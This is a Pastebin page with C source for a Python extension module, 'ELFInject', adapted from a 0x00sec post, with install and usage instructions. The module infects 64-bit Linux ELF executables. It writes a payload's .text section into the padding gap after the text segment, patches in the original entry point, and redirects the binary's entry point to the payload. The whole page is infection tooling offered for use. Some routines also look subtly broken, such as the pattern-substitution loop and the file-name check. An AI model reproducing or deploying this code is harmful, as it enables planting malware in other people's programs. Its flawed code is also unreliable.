Advertisement
0x00sec_JINX

ELFInject Python Module

Jun 24th, 2016
857
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.10 KB | None | 0 0
  1. /*
  2. This program is free software: you can redistribute it and/or modify
  3. it under the terms of the GNU General Public License as published by
  4. the Free Software Foundation, either version 3 of the License, or
  5. (at your option) any later version.
  6.  
  7. This program is distributed in the hope that it will be useful,
  8. but WITHOUT ANY WARRANTY; even without the implied warranty of
  9. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10. GNU General Public License for more details.
  11.  
  12. You should have received a copy of the GNU General Public License
  13. along with this program.  If not, see <http://www.gnu.org/licenses/>.
  14.  
  15. Python module created by 0x00sec_JINX: https://0x00sec.org/users/0x00_jinx
  16. Original post by 0x00pf: https://0x00sec.org/t/elfun-file-injector/410
  17.  
  18. Installation (Linux):
  19. (All code posted on my Pastebin is designed for Linux (Debian-based))
  20. 1) Save the following code in a file called 'setup.py':
  21.     from distutils.core import setup, Extension
  22.  
  23.     module = Extension("ELFInject",
  24.                 sources=["ELFInject_module.c"])
  25.  
  26.     setup(name = "ELFInject",
  27.                 description = "C module that infects an ELF file with a specified payload",
  28.                 ext_modules = [module])
  29. 2) Run the following command in your terminal:
  30.     'python setup.py build && sudo python setup.py install'
  31.  
  32. 3) Import your new module inside a python file:
  33.     import ELFInject
  34.  
  35.  
  36. Usage:
  37.     inject_file(<.elf file>, <payload>)
  38.  
  39.     All error checking is performed inside the module
  40.     so the user only has to call one function. The module
  41.     will throw errors if something is not correct, so try
  42.     to receive the errors with a try/except model.
  43.     Example:
  44.    
  45.         import ELFInject
  46.  
  47.         elf_file = input("Enter the .elf file\n>>> ")
  48.         payload_file = input("Enter the payload file\n>>> ")
  49.         try:
  50.             ELFInject.inject_file(elf_file,payload_file)
  51.         except Exception,e:
  52.             print e
  53.             return 1;
  54. */
  55.  
  56.  
  57. #include <Python.h>
  58. #include <stdint.h>
  59. #include <fcntl.h>
  60. #include <sys/stat.h>
  61. #include <elf.h>
  62. #include <sys/mman.h>
  63.  
  64.  
  65. static int get_file_size(int fd);
  66. int checkFile(char *ftc);
  67. int elfi_open_and_map(char *fname, void **data, int *len);
  68. Elf64_Phdr* elfi_find_gap(void *d, int fsize, int *p, int *len);
  69. Elf64_Shdr* elfi_find_section(void *data, char *name);
  70. int elfi_mem_subst(void *m, int len, long pat, long val);
  71. #ifdef DEBUG
  72.     void elfi_dump_segments(void *d);
  73. #endif
  74.  
  75. static PyObject* ELFInjectError;
  76.  
  77. static PyObject* ELFInject_main(PyObject* self, PyObject* args){
  78.  
  79.     void *d, *d1;
  80.     int target_fd, payload_fd;
  81.     int fsize, fsize1;
  82.     char* argv1;
  83.     char* argv2;
  84.     Elf64_Ehdr* elf_hdr;
  85.     Elf64_Phdr *t_text_seg;
  86.     Elf64_Shdr *p_text_sec;
  87.     Elf64_Addr base, ep;
  88.     int p,len;
  89.  
  90.     Py_INCREF(Py_None);
  91.  
  92.     if(!PyArg_ParseTuple(args,"ss",&argv1,&argv2)){
  93.        
  94.         //Error handling
  95.         PyErr_SetString(ELFInjectError,"Error: invalid Arguments\nUsage: inject_file(elf_file, payload)");
  96.         return NULL; //send error to Python Interpreter
  97.     }
  98.  
  99.     char ftc[strlen(argv1)];
  100.     memmove(ftc,argv1,strlen(argv1));
  101.     ftc[strlen(argv1)] = '\0';
  102.  
  103.     if((checkFile(ftc)) != 0){
  104.         PyErr_SetString(ELFInjectError,"Error: The first parameter must be a .elf file");
  105.         return NULL;
  106.     }
  107.  
  108.     target_fd = elfi_open_and_map(argv1,&d,&fsize);
  109.  
  110.     elf_hdr = (Elf64_Ehdr *) d;
  111.     ep = elf_hdr->e_entry;
  112.     fprintf(stdout,"Target Entry point: %p\n", (void*)ep);
  113.  
  114. #ifdef DEBUG
  115.     elfi_dump_segments(d);
  116. #endif
  117.  
  118.     t_text_seg = elfi_find_gap(d,fsize,&p,&len);
  119.     base = t_text_seg->p_vaddr;
  120.  
  121.     fprintf(stdout,"Base Address:: 0x%p\n", (void*)base);
  122.  
  123.     payload_fd = elfi_open_and_map(argv2,&d1,&fsize1);
  124.     p_text_sec = elfi_find_section(d1, ".text");
  125.  
  126.     fprintf(stdout,"Payload .text section found at %lx (%lx bytes)\n", p_text_sec->sh_offset, p_text_sec->sh_size);
  127.  
  128.     if(p_text_sec->sh_size > len){
  129.         fprintf(stderr,"Payload too big, cannot infect file.\nTry a smaller payload!\n");
  130.         exit(1);
  131.     }
  132.  
  133.     memmove(d + p, d1 + p_text_sec->sh_offset, p_text_sec->sh_size);
  134.     elfi_mem_subst(d+p, p_text_sec->sh_size, 0x11111111, (long)ep);
  135.  
  136.     elf_hdr->e_entry = (Elf64_Addr) (base + p);
  137.  
  138.     fprintf(stdout,"Payload installed successfully.\n");
  139.  
  140.     close(payload_fd);
  141.     close(target_fd);
  142.  
  143.     return Py_None;
  144. }
  145.  
  146. int checkFile(char *ftc){
  147.     char* stringCmp = ".elf";
  148.     char* newftc = ftc;
  149.     char fnameBuff[(strlen(ftc)+1)];
  150.  
  151.     if((strlen(ftc)) < 4){
  152.         return 1;
  153.     }
  154.  
  155.     while((strlen(newftc)) != 4){
  156.         memmove(fnameBuff, newftc+1, strlen(fnameBuff));
  157.         memmove(newftc, newftc+1, strlen(newftc));
  158.     }
  159.  
  160.     if((strcmp(stringCmp,fnameBuff)) != 0){
  161.         return 1;
  162.     }
  163.  
  164.     return 0;
  165. }
  166.  
  167. int elfi_open_and_map(char *fname, void **data, int *len){
  168.  
  169.     int size, fd;
  170.  
  171.     //open the ELF file
  172.     if((fd = open(fname,O_APPEND | O_RDWR, 0)) < 0){
  173.         perror("open:");
  174.         exit(1);
  175.     }
  176.  
  177.     //get the file size and map the file to memory
  178.     size = get_file_size(fd);
  179.     if((*data = mmap(0,size,PROT_READ| PROT_WRITE| PROT_EXEC, MAP_SHARED, fd, 0)) == MAP_FAILED){
  180.         perror("mmap:");
  181.         exit(1);
  182.     }
  183.  
  184.     fprintf(stdout,"File mapped (%d bytes) at %p\n",size,data);
  185.     *len = size;
  186.     return fd;
  187.  
  188. }
  189.  
  190. static int get_file_size(int fd){
  191.     struct stat _info;
  192.     fstat(fd,&_info);
  193.     return _info.st_size;
  194. }
  195.  
  196. #ifdef DEBUG
  197. void elfi_dump_segments(void *d){
  198.     Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) d;
  199.     Elf64_Phdr* elf_seg;
  200.     int n_seg = elf_hdr->e_phnum;
  201.     int i;
  202.  
  203.     elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr + (unsigned int) elf_hdr->e_phoff);
  204.  
  205.     for(i=0;i<n_seg;i++){
  206.         fprintf(stdout,"[INFO] Segment %d: Type: %8x (%x) Offset: %8x "
  207.                "FSize:%8x MSize:%8x\n",
  208.                (unsigned int)elf_seg->p_offset,
  209.                (unsigned int)elf_seg->p_filesz,
  210.                (unsigned int)elf_seg->p_memsz);
  211.  
  212.         elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg + (unsigned int) elf_hdr->e_phentsize);
  213.     }
  214. }
  215. #endif
  216.  
  217. Elf64_Phdr* elfi_find_gap(void *d, int fsize, int *p, int *len){
  218.     Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *)d;
  219.     Elf64_Phdr* elf_seg, *text_seg;
  220.     int n_seg = elf_hdr->e_phnum;
  221.     int i, text_end, gap=fsize;
  222.  
  223.     elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr + (unsigned int) elf_hdr->e_phoff);
  224.  
  225.     for(i = 0; i < n_seg; i++){
  226.         if(elf_seg->p_type == PT_LOAD && elf_seg->p_flags & 0x011){
  227.             fprintf(stdout,"Found .text segment(#%d)\n",i);
  228.             text_seg = elf_seg;
  229.             text_end = elf_seg->p_offset + elf_seg->p_filesz;
  230.         }else{
  231.             if(elf_seg->p_type == PT_LOAD && (elf_seg->p_offset - text_end) < gap){
  232.                 fprintf(stdout,"Found LOAD segment (#%d) close to .text (offset: 0x%x)\n",i,(unsigned int)elf_seg->p_offset);
  233.                 gap = elf_seg->p_offset - text_end;
  234.             }
  235.         }
  236.  
  237.         elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg + (unsigned int) elf_hdr->e_phentsize);
  238.     }
  239.     *p = text_end;
  240.     *len = gap;
  241.  
  242.     fprintf(stdout,".text segment gap at offset 0x%x(0x%x bytes available)\n", text_end, gap);
  243.  
  244.     return text_seg;
  245. }
  246.  
  247. Elf64_Shdr* elfi_find_section(void *data, char *name){
  248.     char *sname;
  249.     int i;
  250.     Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data;
  251.     Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff);
  252.     Elf64_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx];
  253.     const char *const sh_strtab_p = data + sh_strtab->sh_offset;
  254.  
  255.     fprintf(stdout,"%d section(s) in file Looking for section '%s'\n",elf_hdr->e_shnum,name);
  256.  
  257.     for (i = 0; i < elf_hdr->e_shnum; i++){
  258.         sname = (char*) (sh_strtab_p + shdr[i].sh_name);
  259.         if(!strcmp(sname,name)) return &shdr[i];
  260.     }
  261.  
  262.     return NULL;
  263. }
  264.  
  265. int elfi_mem_subst(void *m, int len, long pat, long val){
  266.     unsigned char *p = (unsigned char*)m;
  267.     long v;
  268.     int i,r;
  269.  
  270.     for(i = 0; i < len; i++){
  271.         v = *((long*)(p+i)) = val;
  272.         r = v ^pat;
  273.  
  274.         if (r==0){
  275.             fprintf(stdout,"Pattern %lx found at offset %d -> %lx\n", pat, i, val);
  276.             *((long*)(p+i)) = val;
  277.             return 0;
  278.         }
  279.     }
  280.     return -1;
  281. }
  282.  
  283. static PyMethodDef ELFInject_methods[] = {
  284.  
  285.     //Python Func Name          C Func Name             Argument count              Description (Optional)
  286.     {"inject_file",             ELFInject_main,         METH_VARARGS,               NULL},
  287.     {NULL,NULL,0,NULL}          // Ending Sentinel
  288.  
  289. };
  290.  
  291. PyMODINIT_FUNC initELFInject(void){
  292.  
  293.     PyObject *m;
  294.     m = Py_InitModule("ELFInject", ELFInject_methods);
  295.     if(m == NULL){
  296.  
  297.         return;
  298.  
  299.     }
  300.  
  301.     ELFInjectError = PyErr_NewException("ELFInject.error",NULL,NULL); // "ELFInject.error" The module's error object
  302.     Py_INCREF(ELFInjectError);
  303.  
  304.     PyModule_AddObject(m,"error",ELFInjectError);
  305.  
  306. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement